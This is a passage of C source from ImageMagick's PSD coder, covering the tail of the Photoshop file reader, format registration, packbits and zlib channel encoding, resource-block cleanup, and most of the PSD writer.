ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); count=ReadBlob(image,(size_t) length,blocks); if ((count != (ssize_t) length) || (length < 4) || (LocaleNCompare((char *) blocks,"8BIM",4) != 0)) { blocks=(unsigned char *) RelinquishMagickMemory(blocks); ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } ParseImageResourceBlocks(image,blocks,(size_t) length,&has_merged_image, exception); blocks=(unsigned char *) RelinquishMagickMemory(blocks); } /* Layer and mask block. */ length=GetPSDSize(&psd_info,image); if (length == 8) { length=ReadBlobMSBLong(image); length=ReadBlobMSBLong(image); } offset=TellBlob(image); skip_layers=MagickFalse; if ((image_info->number_scenes == 1) && (image_info->scene == 0) && (has_merged_image != MagickFalse)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " read composite only"); skip_layers=MagickTrue; } if (length == 0) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image has no layers"); } else { if (ReadPSDLayers(image,image_info,&psd_info,skip_layers,exception) != MagickTrue) { (void) CloseBlob(image); image=DestroyImageList(image); return((Image *) NULL); } /* Skip the rest of the layer and mask information. */ SeekBlob(image,offset+length,SEEK_SET); } /* If we are only "pinging" the image, then we're done - so return. */ if (image_info->ping != MagickFalse) { (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* Read the precombined layer, present for PSD < 4 compatibility. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading the precombined layer"); if ((has_merged_image != MagickFalse) || (GetImageListLength(image) == 1)) has_merged_image=(MagickBooleanType) ReadPSDMergedImage(image_info,image, &psd_info,exception); if ((has_merged_image == MagickFalse) && (GetImageListLength(image) == 1) && (length != 0)) { SeekBlob(image,offset,SEEK_SET); status=ReadPSDLayers(image,image_info,&psd_info,MagickFalse,exception); if (status != MagickTrue) { (void) CloseBlob(image); image=DestroyImageList(image); return((Image *) NULL); } } if (has_merged_image == MagickFalse) { Image *merged; if (GetImageListLength(image) == 1) ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile"); SetImageAlphaChannel(image,TransparentAlphaChannel,exception); image->background_color.alpha=TransparentAlpha; image->background_color.alpha_trait=BlendPixelTrait; merged=MergeImageLayers(image,FlattenLayer,exception); ReplaceImageInList(&image,merged); } (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % RegisterPSDImage() adds properties for the PSD image format to % the list of supported formats. The properties include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterPSDImage method is: % % size_t RegisterPSDImage(void) % */ ModuleExport size_t RegisterPSDImage(void) { MagickInfo *entry; entry=AcquireMagickInfo("PSD","PSB","Adobe Large Document Format"); entry->decoder=(DecodeImageHandler *) ReadPSDImage; entry->encoder=(EncodeImageHandler *) WritePSDImage; entry->magick=(IsImageFormatHandler *) IsPSD; entry->flags|=CoderSeekableStreamFlag; (void) RegisterMagickInfo(entry); entry=AcquireMagickInfo("PSD","PSD","Adobe Photoshop bitmap"); entry->decoder=(DecodeImageHandler *) ReadPSDImage; entry->encoder=(EncodeImageHandler *) WritePSDImage; entry->magick=(IsImageFormatHandler *) IsPSD; entry->flags|=CoderSeekableStreamFlag; (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % UnregisterPSDImage() removes format registrations made by the % PSD module from the list of supported formats. % % The format of the UnregisterPSDImage method is: % % UnregisterPSDImage(void) % */ ModuleExport void UnregisterPSDImage(void) { (void) UnregisterMagickInfo("PSB"); (void) UnregisterMagickInfo("PSD"); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % W r i t e P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % WritePSDImage() writes an image in the Adobe Photoshop encoded image format. % % The format of the WritePSDImage method is: % % MagickBooleanType WritePSDImage(const ImageInfo *image_info,Image *image, % ExceptionInfo *exception) % % A description of each parameter follows. % % o image_info: the image info. % % o image: The image. % % o exception: return any errors or warnings in this structure. % */ static inline ssize_t SetPSDOffset(const PSDInfo *psd_info,Image *image, const size_t offset) { if (psd_info->version == 1) return(WriteBlobMSBShort(image,(unsigned short) offset)); return(WriteBlobMSBLong(image,(unsigned short) offset)); } static inline ssize_t WritePSDOffset(const PSDInfo *psd_info,Image *image, const MagickSizeType size,const MagickSizeType offset) { MagickSizeType current_offset; ssize_t result; current_offset=TellBlob(image); SeekBlob(image,offset,SEEK_SET); if (psd_info->version == 1) result=WriteBlobMSBShort(image,(unsigned short) size); else result=(WriteBlobMSBLong(image,(unsigned short) size)); SeekBlob(image,current_offset,SEEK_SET); return(result); } static inline ssize_t SetPSDSize(const PSDInfo *psd_info,Image *image, const MagickSizeType size) { if (psd_info->version == 1) return(WriteBlobMSBLong(image,(unsigned int) size)); return(WriteBlobMSBLongLong(image,size)); } static inline ssize_t WritePSDSize(const PSDInfo *psd_info,Image *image, const MagickSizeType size,const MagickSizeType offset) { MagickSizeType current_offset; ssize_t result; current_offset=TellBlob(image); SeekBlob(image,offset,SEEK_SET); if (psd_info->version == 1) result=WriteBlobMSBLong(image,(unsigned int) size); else result=WriteBlobMSBLongLong(image,size); SeekBlob(image,current_offset,SEEK_SET); return(result); } static size_t PSDPackbitsEncodeImage(Image *image,const size_t length, const unsigned char *pixels,unsigned char *compact_pixels, ExceptionInfo *exception) { int count; register ssize_t i, j; register unsigned char *q; unsigned char *packbits; /* Compress pixels with Packbits encoding. */ assert(image != (Image *) NULL); assert(image->signature == MagickCoreSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); assert(pixels != (unsigned char *) NULL); assert(compact_pixels != (unsigned char *) NULL); packbits=(unsigned char *) AcquireQuantumMemory(128UL,sizeof(*packbits)); if (packbits == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); q=compact_pixels; for (i=(ssize_t) length; i != 0; ) { switch (i) { case 1: { i--; *q++=(unsigned char) 0; *q++=(*pixels); break; } case 2: { i-=2; *q++=(unsigned char) 1; *q++=(*pixels); *q++=pixels[1]; break; } case 3: { i-=3; if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2))) { *q++=(unsigned char) ((256-3)+1); *q++=(*pixels); break; } *q++=(unsigned char) 2; *q++=(*pixels); *q++=pixels[1]; *q++=pixels[2]; break; } default: { if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2))) { /* Packed run. */ count=3; while (((ssize_t) count < i) && (*pixels == *(pixels+count))) { count++; if (count >= 127) break; } i-=count; *q++=(unsigned char) ((256-count)+1); *q++=(*pixels); pixels+=count; break; } /* Literal run. */ count=0; while ((*(pixels+count) != *(pixels+count+1)) || (*(pixels+count+1) != *(pixels+count+2))) { packbits[count+1]=pixels[count]; count++; if (((ssize_t) count >= (i-3)) || (count >= 127)) break; } i-=count; *packbits=(unsigned char) (count-1); for (j=0; j <= (ssize_t) count; j++) *q++=packbits[j]; pixels+=count; break; } } } *q++=(unsigned char) 128; /* EOD marker */ packbits=(unsigned char *) RelinquishMagickMemory(packbits); return((size_t) (q-compact_pixels)); } static size_t WriteCompressionStart(const PSDInfo *psd_info,Image *image, const Image *next_image,const ssize_t channels) { size_t length; ssize_t i, y; if (next_image->compression == RLECompression) { length=WriteBlobMSBShort(image,RLE); for (i=0; i < channels; i++) for (y=0; y < (ssize_t) next_image->rows; y++) length+=SetPSDOffset(psd_info,image,0); } #ifdef MAGICKCORE_ZLIB_DELEGATE else if (next_image->compression == ZipCompression) length=WriteBlobMSBShort(image,ZipWithoutPrediction); #endif else length=WriteBlobMSBShort(image,Raw); return(length); } static size_t WritePSDChannel(const PSDInfo *psd_info, const ImageInfo *image_info,Image *image,Image *next_image, const QuantumType quantum_type, unsigned char *compact_pixels, MagickOffsetType size_offset,const MagickBooleanType separate, ExceptionInfo *exception) { int y; MagickBooleanType monochrome; QuantumInfo *quantum_info; register const Quantum *p; register ssize_t i; size_t count, length; unsigned char *pixels; #ifdef MAGICKCORE_ZLIB_DELEGATE #define CHUNK 16384 int flush, level; unsigned char *compressed_pixels; z_stream stream; compressed_pixels=(unsigned char *) NULL; flush=Z_NO_FLUSH; #endif count=0; if (separate != MagickFalse) { size_offset=TellBlob(image)+2; count+=WriteCompressionStart(psd_info,image,next_image,1); } if (next_image->depth > 8) next_image->depth=16; monochrome=IsImageMonochrome(image) && (image->depth == 1) ? MagickTrue : MagickFalse; quantum_info=AcquireQuantumInfo(image_info,next_image); if (quantum_info == (QuantumInfo *) NULL) return(0); pixels=(unsigned char *) GetQuantumPixels(quantum_info); #ifdef MAGICKCORE_ZLIB_DELEGATE if (next_image->compression == ZipCompression) { compressed_pixels=(unsigned char *) AcquireQuantumMemory(CHUNK, sizeof(*compressed_pixels)); if (compressed_pixels == (unsigned char *) NULL) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } ResetMagickMemory(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; level=Z_DEFAULT_COMPRESSION; if ((image_info->quality > 0 && image_info->quality < 10)) level=(int) image_info->quality; if (deflateInit(&stream,level) != Z_OK) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } } #endif for (y=0; y < (ssize_t) next_image->rows; y++) { p=GetVirtualPixels(next_image,0,y,next_image->columns,1,exception); if (p == (const Quantum *) NULL) break; length=ExportQuantumPixels(next_image,(CacheView *) NULL,quantum_info, quantum_type,pixels,exception); if (monochrome != MagickFalse) for (i=0; i < (ssize_t) length; i++) pixels[i]=(~pixels[i]); if (next_image->compression == RLECompression) { length=PSDPackbitsEncodeImage(image,length,pixels,compact_pixels, exception); count+=WriteBlob(image,length,compact_pixels); size_offset+=WritePSDOffset(psd_info,image,length,size_offset); } #ifdef MAGICKCORE_ZLIB_DELEGATE else if (next_image->compression == ZipCompression) { stream.avail_in=(uInt) length; stream.next_in=(Bytef *) pixels; if (y == (ssize_t) next_image->rows-1) flush=Z_FINISH; do { stream.avail_out=(uInt) CHUNK; stream.next_out=(Bytef *) compressed_pixels; if (deflate(&stream,flush) == Z_STREAM_ERROR) break; length=(size_t) CHUNK-stream.avail_out; if (length > 0) count+=WriteBlob(image,length,compressed_pixels); } while (stream.avail_out == 0); } #endif else count+=WriteBlob(image,length,pixels); } #ifdef MAGICKCORE_ZLIB_DELEGATE if (next_image->compression == ZipCompression) { (void) deflateEnd(&stream); compressed_pixels=(unsigned char *) RelinquishMagickMemory( compressed_pixels); } #endif quantum_info=DestroyQuantumInfo(quantum_info); return(count); } static unsigned char *AcquireCompactPixels(const Image *image, ExceptionInfo *exception) { size_t packet_size; unsigned char *compact_pixels; packet_size=image->depth > 8UL ? 2UL : 1UL; compact_pixels=(unsigned char *) AcquireQuantumMemory((9* image->columns)+1,packet_size*sizeof(*compact_pixels)); if (compact_pixels == (unsigned char *) NULL) { (void) ThrowMagickException(exception,GetMagickModule(), ResourceLimitError,"MemoryAllocationFailed","`%s'",image->filename); } return(compact_pixels); } static size_t WritePSDChannels(const PSDInfo *psd_info, const ImageInfo *image_info,Image *image,Image *next_image, MagickOffsetType size_offset,const MagickBooleanType separate, ExceptionInfo *exception) { Image *mask; MagickOffsetType rows_offset; size_t channels, count, length, offset_length; unsigned char *compact_pixels; count=0; offset_length=0; rows_offset=0; compact_pixels=(unsigned char *) NULL; if (next_image->compression == RLECompression) { compact_pixels=AcquireCompactPixels(next_image,exception); if (compact_pixels == (unsigned char *) NULL) return(0); } channels=1; if (separate == MagickFalse) { if (next_image->storage_class != PseudoClass) { if (IsImageGray(next_image) == MagickFalse) channels=next_image->colorspace == CMYKColorspace ? 4 : 3; if (next_image->alpha_trait != UndefinedPixelTrait) channels++; } rows_offset=TellBlob(image)+2; count+=WriteCompressionStart(psd_info,image,next_image,channels); offset_length=(next_image->rows*(psd_info->version == 1 ? 2 : 4)); } size_offset+=2; if (next_image->storage_class == PseudoClass) { length=WritePSDChannel(psd_info,image_info,image,next_image, IndexQuantum,compact_pixels,rows_offset,separate,exception); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } else { if (IsImageGray(next_image) != MagickFalse) { length=WritePSDChannel(psd_info,image_info,image,next_image, GrayQuantum,compact_pixels,rows_offset,separate,exception); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } else { if (next_image->colorspace == CMYKColorspace) (void) NegateCMYK(next_image,exception); length=WritePSDChannel(psd_info,image_info,image,next_image, RedQuantum,compact_pixels,rows_offset,separate,exception); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; length=WritePSDChannel(psd_info,image_info,image,next_image, GreenQuantum,compact_pixels,rows_offset,separate,exception); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; length=WritePSDChannel(psd_info,image_info,image,next_image, BlueQuantum,compact_pixels,rows_offset,separate,exception); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; if (next_image->colorspace == CMYKColorspace) { length=WritePSDChannel(psd_info,image_info,image,next_image, BlackQuantum,compact_pixels,rows_offset,separate,exception); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } } if (next_image->alpha_trait != UndefinedPixelTrait) { length=WritePSDChannel(psd_info,image_info,image,next_image, AlphaQuantum,compact_pixels,rows_offset,separate,exception); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); if (next_image->colorspace == CMYKColorspace) (void) NegateCMYK(next_image,exception); if (separate != MagickFalse) { const char *property; property=GetImageArtifact(next_image,"psd:opacity-mask"); if (property != (const char *) NULL) { mask=(Image *) GetImageRegistry(ImageRegistryType,property, exception); if (mask != (Image *) NULL) { if (mask->compression == RLECompression) { compact_pixels=AcquireCompactPixels(mask,exception); if (compact_pixels == (unsigned char *) NULL) return(0); } length=WritePSDChannel(psd_info,image_info,image,mask, RedQuantum,compact_pixels,rows_offset,MagickTrue,exception); (void) WritePSDSize(psd_info,image,length,size_offset); count+=length; compact_pixels=(unsigned char *) RelinquishMagickMemory( compact_pixels); } } } return(count); } static size_t WritePascalString(Image *image,const char *value,size_t padding) { size_t count, length; register ssize_t i; /* Max length is 255. */ count=0; length=(strlen(value) > 255UL ) ? 255UL : strlen(value); if (length == 0) count+=WriteBlobByte(image,0); else { count+=WriteBlobByte(image,(unsigned char) length); count+=WriteBlob(image,length,(const unsigned char *) value); } length++; if ((length % padding) == 0) return(count); for (i=0; i < (ssize_t) (padding-(length % padding)); i++) count+=WriteBlobByte(image,0); return(count); } static void WriteResolutionResourceBlock(Image *image) { double x_resolution, y_resolution; unsigned short units; if (image->units == PixelsPerCentimeterResolution) { x_resolution=2.54*65536.0*image->resolution.x+0.5; y_resolution=2.54*65536.0*image->resolution.y+0.5; units=2; } else { x_resolution=65536.0*image->resolution.x+0.5; y_resolution=65536.0*image->resolution.y+0.5; units=1; } (void) WriteBlob(image,4,(const unsigned char *) "8BIM"); (void) WriteBlobMSBShort(image,0x03ED); (void) WriteBlobMSBShort(image,0); (void) WriteBlobMSBLong(image,16); /* resource size */ (void) WriteBlobMSBLong(image,(unsigned int) (x_resolution+0.5)); (void) WriteBlobMSBShort(image,units); /* horizontal resolution unit */ (void) WriteBlobMSBShort(image,units); /* width unit */ (void) WriteBlobMSBLong(image,(unsigned int) (y_resolution+0.5)); (void) WriteBlobMSBShort(image,units); /* vertical resolution unit */ (void) WriteBlobMSBShort(image,units); /* height unit */ } static inline size_t WriteChannelSize(const PSDInfo *psd_info,Image *image, const signed short channel) { size_t count; count=WriteBlobMSBSignedShort(image,channel); count+=SetPSDSize(psd_info,image,0); return(count); } static void RemoveICCProfileFromResourceBlock(StringInfo *bim_profile) { register const unsigned char *p; size_t length; unsigned char *datum; unsigned int count, long_sans; unsigned short id, short_sans; length=GetStringInfoLength(bim_profile); if (length < 16) return; datum=GetStringInfoDatum(bim_profile); for (p=datum; (p >= datum) && (p < (datum+length-16)); ) { register unsigned char *q; q=(unsigned char *) p; if (LocaleNCompare((const char *) p,"8BIM",4) != 0) break; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); if (id == 0x0000040f) { ssize_t quantum; quantum=PSDQuantum(count)+12; if ((quantum >= 12) && (quantum < (ssize_t) length)) { if ((q+quantum < (datum+length-16))) (void) CopyMagickMemory(q,q+quantum,length-quantum-(q-datum)); SetStringInfoLength(bim_profile,length-quantum); } break; } p+=count; if ((count & 0x01) != 0) p++; } } static void RemoveResolutionFromResourceBlock(StringInfo *bim_profile) { register const unsigned char *p; size_t length; unsigned char *datum; unsigned int count, long_sans; unsigned short id, short_sans; length=GetStringInfoLength(bim_profile); if (length < 16) return; datum=GetStringInfoDatum(bim_profile); for (p=datum; (p >= datum) && (p < (datum+length-16)); ) { register unsigned char *q; ssize_t cnt; q=(unsigned char *) p; if (LocaleNCompare((const char *) p,"8BIM",4) != 0) return; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); cnt=PSDQuantum(count); if (cnt < 0) return; if ((id == 0x000003ed) && (cnt < (ssize_t) (length-12))) { (void) CopyMagickMemory(q,q+cnt+12,length-(cnt+12)-(q-datum)); SetStringInfoLength(bim_profile,length-(cnt+12)); break; } p+=count; if ((count & 0x01) != 0) p++; } } static const StringInfo *GetAdditionalInformation(const ImageInfo *image_info, Image *image,ExceptionInfo *exception) { #define PSDKeySize 5 #define PSDAllowedLength 36 char key[PSDKeySize]; /* Whitelist of keys from: https://www.adobe.com/devnet-apps/photoshop/fileformatashtml/ */ const char allowed[PSDAllowedLength][PSDKeySize] = { "blnc", "blwh", "brit", "brst", "clbl", "clrL", "curv", "expA", "FMsk", "GdFl", "grdm", "hue ", "hue2", "infx", "knko", "lclr", "levl", "lnsr", "lfx2", "luni", "lrFX", "lspf", "lyid", "lyvr", "mixr", "nvrt", "phfl", "post", "PtFl", "selc", "shpa", "sn2P", "SoCo", "thrs", "tsly", "vibA" }, *option; const StringInfo *info; MagickBooleanType found; register size_t i; size_t remaining_length, length; StringInfo *profile; unsigned char *p; unsigned int size; info=GetImageProfile(image,"psd:additional-info"); if (info == (const StringInfo *) NULL) return((const StringInfo *) NULL); option=GetImageOption(image_info,"psd:additional-info"); if (LocaleCompare(option,"all") == 0) return(info); if (LocaleCompare(option,"selective") != 0) { profile=RemoveImageProfile(image,"psd:additional-info"); return(DestroyStringInfo(profile)); } length=GetStringInfoLength(info); p=GetStringInfoDatum(info); remaining_length=length; length=0; while (remaining_length >= 12) { /* skip over signature */ p+=4; key[0]=(*p++); key[1]=(*p++); key[2]=(*p++); key[3]=(*p++); key[4]='\0'; size=(unsigned int) (*p++) << 24; size|=(unsigned int) (*p++) << 16; size|=(unsigned int) (*p++) << 8; size|=(unsigned int) (*p++); size=size & 0xffffffff; remaining_length-=12; if ((size_t) size > remaining_length) return((const StringInfo *) NULL); found=MagickFalse; for (i=0; i < PSDAllowedLength; i++) { if (LocaleNCompare(key,allowed[i],PSDKeySize) != 0) continue; found=MagickTrue; break; } remaining_length-=(size_t) size; if (found == MagickFalse) { if (remaining_length > 0) p=(unsigned char *) CopyMagickMemory(p-12,p+size,remaining_length); continue; } length+=(size_t) size+12; p+=size; } profile=RemoveImageProfile(image,"psd:additional-info"); if (length == 0) return(DestroyStringInfo(profile)); SetStringInfoLength(profile,(const size_t) length); SetImageProfile(image,"psd:additional-info",info,exception); return(profile); } static MagickBooleanType WritePSDImage(const ImageInfo *image_info, Image *image,ExceptionInfo *exception) { char layer_name[MagickPathExtent]; const char *property; const StringInfo *icc_profile, *info; Image *base_image, *next_image; MagickBooleanType status; MagickOffsetType *layer_size_offsets, size_offset; PSDInfo psd_info; register ssize_t i; size_t layer_count, layer_index, length, name_length, num_channels, packet_size, rounded_size, size; StringInfo *bim_profile; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickCoreSignature); assert(image != (Image *) NULL); assert(image->signature == MagickCoreSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickCoreSignature); status=OpenBlob(image_info,image,WriteBinaryBlobMode,exception); if (status == MagickFalse) return(status); packet_size=(size_t) (image->depth > 8 ? 6 : 3); if (image->alpha_trait != UndefinedPixelTrait) packet_size+=image->depth > 8 ? 2 : 1; psd_info.version=1; if ((LocaleCompare(image_info->magick,"PSB") == 0) || (image->columns > 30000) || (image->rows > 30000)) psd_info.version=2; (void) WriteBlob(image,4,(const unsigned char *) "8BPS"); (void) WriteBlobMSBShort(image,psd_info.version); /* version */ for (i=1; i <= 6; i++) (void) WriteBlobByte(image, 0); /* 6 bytes of reserved */ if (SetImageGray(image,exception) != MagickFalse) num_channels=(image->alpha_trait != UndefinedPixelTrait ? 2UL : 1UL); else if ((image_info->type != TrueColorType) && (image_info->type != TrueColorAlphaType) && (image->storage_class == PseudoClass)) num_channels=(image->alpha_trait != UndefinedPixelTrait ? 2UL : 1UL); else { if (image->storage_class == PseudoClass) (void) SetImageStorageClass(image,DirectClass,exception); if (image->colorspace != CMYKColorspace) num_channels=(image->alpha_trait != UndefinedPixelTrait ? 4UL : 3UL); else num_channels=(image->alpha_trait != UndefinedPixelTrait ? 5UL : 4UL); } (void) WriteBlobMSBShort(image,(unsigned short) num_channels); (void) WriteBlobMSBLong(image,(unsigned int) image->rows); (void) WriteBlobMSBLong(image,(unsigned int) image->columns); if (IsImageGray(image) != MagickFalse) { MagickBooleanType monochrome; /* Write depth & mode. */ monochrome=IsImageMonochrome(image) && (image->depth == 1) ? MagickTrue : MagickFalse; (void) WriteBlobMSBShort(image,(unsigned short) (monochrome != MagickFalse ? 1 : image->depth > 8 ? 16 : 8)); (void) WriteBlobMSBShort(image,(unsigned short) (monochrome != MagickFalse ? BitmapMode : GrayscaleMode)); } else { (void) WriteBlobMSBShort(image,(unsigned short) (image->storage_class == PseudoClass ? 8 : image->depth > 8 ? 16 : 8)); if (((image_info->colorspace != UndefinedColorspace) || (image->colorspace != CMYKColorspace)) && (image_info->colorspace != CMYKColorspace)) { (void) TransformImageColorspace(image,sRGBColorspace,exception); (void) WriteBlobMSBShort(image,(unsigned short) (image->storage_class == PseudoClass ? IndexedMode : RGBMode)); } else { if (image->colorspace != CMYKColorspace) (void) TransformImageColorspace(image,CMYKColorspace,exception); (void) WriteBlobMSBShort(image,CMYKMode); } } if ((IsImageGray(image) != MagickFalse) || (image->storage_class == DirectClass) || (image->colors > 256)) (void) WriteBlobMSBLong(image,0); else { /* Write PSD raster colormap. */ (void) WriteBlobMSBLong(image,768); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar(image->colormap[i].red)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar( image->colormap[i].green)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar(image->colormap[i].blue)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); } /* Image resource block. */ length=28; /* 0x03EB */ bim_profile=(StringInfo *) GetImageProfile(image,"8bim"); icc_profile=GetImageProfile(image,"icc"); if (bim_profile != (StringInfo *) NULL) { bim_profile=CloneStringInfo(bim_profile); if (icc_profile != (StringInfo *) NULL) RemoveICCProfileFromResourceBlock(bim_profile); RemoveResolutionFromResourceBlock(bim_profile); length+=PSDQuantum(GetStringInfoLength(bim_profile)); } if (icc_profile != (const StringInfo *) NULL) length+=PSDQuantum(GetStringInfoLength(icc_profile))+12; (void) WriteBlobMSBLong(image,(unsigned int) length); WriteResolutionResourceBlock(image); if (bim_profile != (StringInfo *) NULL) { (void) WriteBlob(image,GetStringInfoLength(bim_profile), GetStringInfoDatum(bim_profile)); bim_profile=DestroyStringInfo(bim_profile); } if (icc_profile != (StringInfo *) NULL) { (void) WriteBlob(image,4,(const unsigned char *) "8BIM"); (void) WriteBlobMSBShort(image,0x0000040F); (void) WriteBlobMSBShort(image,0); (void) WriteBlobMSBLong(image,(unsigned int) GetStringInfoLength( icc_profile)); (void) WriteBlob(image,GetStringInfoLength(icc_profile), GetStringInfoDatum(icc_profile)); if ((MagickOffsetType) GetStringInfoLength(icc_profile) != PSDQuantum(GetStringInfoLength(icc_profile))) (void) WriteBlobByte(image,0); } base_image=GetNextImageInList(image); if (base_image == (Image *) NULL) base_image=image; size=0; size_offset=TellBlob(image); SetPSDSize(&psd_info,image,0); SetPSDSize(&psd_info,image,0); layer_count=0; for (next_image=base_image; next_image != NULL; ) { layer_count++; next_image=GetNextImageInList(next_image); } if (image->alpha_trait != UndefinedPixelTrait) size+=WriteBlobMSBShort(image,-(unsigned short) layer_count); else size+=WriteBlobMSBShort(image,(unsigned short) layer_count); layer_size_offsets=(MagickOffsetType *) AcquireQuantumMemory( (size_t) layer_count,sizeof(MagickOffsetType)); if (layer_size_offsets == (MagickOffsetType *) NULL) ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); layer_index=0; for (next_image=base_image; next_image != NULL; ) { Image *mask; unsigned char default_color; unsigned short channels, total_channels; mask=(Image *) NULL; property=GetImageArtifact(next_image,"psd:opacity-mask"); default_color=0; if (property != (const char *) NULL) { mask=(Image *) GetImageRegistry(ImageRegistryType,property,exception); default_color=strlen(property) == 9 ? 255 : 0; } size+=WriteBlobMSBLong(image,(unsigned int) next_image->page.y); size+=WriteBlobMSBLong(image,(unsigned int) next_image->page.x); size+=WriteBlobMSBLong(image,(unsigned int) (next_image->page.y+ next_image->rows)); size+=WriteBlobMSBLong(image,(unsigned int) (next_image->page.x+ next_image->columns)); channels=1U; if ((next_image->storage_class != PseudoClass) && (IsImageGray(next_image) == MagickFalse)) channels=next_image->colorspace == CMYKColorspace ? 4U : 3U; total_channels=channels; if (next_image->alpha_trait != UndefinedPixelTrait) total_channels++; if (mask != (Image *) NULL) total_channels++; size+=WriteBlobMSBShort(image,total_channels); layer_size_offsets[layer_index++]=TellBlob(image); for (i=0; i < (ssize_t) channels; i++) size+=WriteChannelSize(&psd_info,image,(signed short) i); if (next_image->alpha_trait != UndefinedPixelTrait) size+=WriteChannelSize(&psd_info,image,-1); if (mask != (Image *) NULL) size+=WriteChannelSize(&psd_info,image,-2); size+=WriteBlob(image,4,(const unsigned char *) "8BIM"); size+=WriteBlob(image,4,(const unsigned char *) CompositeOperatorToPSDBlendMode(next_image->compose)); property=GetImageArtifact(next_image,"psd:layer.opacity"); if (property != (const char *) NULL) { Quantum opacity; opacity=(Quantum) StringToInteger(property); size+=WriteBlobByte(image,ScaleQuantumToChar(opacity)); (void) ApplyPSDLayerOpacity(next_image,opacity,MagickTrue,exception); } else size+=WriteBlobByte(image,255); size+=WriteBlobByte(image,0); size+=WriteBlobByte(image,next_image->compose==NoCompositeOp ? 1 << 0x02 : 1); /* layer properties - visible, etc. */ size+=WriteBlobByte(image,0); info=GetAdditionalInformation(image_info,next_image,exception); property=(const char *) GetImageProperty(next_image,"label",exception); if (property == (const char *) NULL) { (void) FormatLocaleString(layer_name,MagickPathExtent,"L%.20g", (double) layer_index); property=layer_name; } name_length=strlen(property)+1; if ((name_length % 4) != 0) name_length+=(4-(name_length % 4)); if (info != (const StringInfo *) NULL) name_length+=GetStringInfoLength(info); name_length+=8; if (mask != (Image *) NULL) name_length+=20; size+=WriteBlobMSBLong(image,(unsigned int) name_length); if (mask == (Image *) NULL) size+=WriteBlobMSBLong(image,0); else { if (mask->compose != NoCompositeOp) (void) ApplyPSDOpacityMask(next_image,mask,ScaleCharToQuantum( default_color),MagickTrue,exception); mask->page.y+=image->page.y; mask->page.x+=image->page.x; size+=WriteBlobMSBLong(image,20); size+=WriteBlobMSBSignedLong(image,mask->page.y); size+=WriteBlobMSBSignedLong(image,mask->page.x); size+=WriteBlobMSBLong(image,(const unsigned int) mask->rows+ mask->page.y); size+=WriteBlobMSBLong(image,(const unsigned int) mask->columns+ mask->page.x); size+=WriteBlobByte(image,default_color); 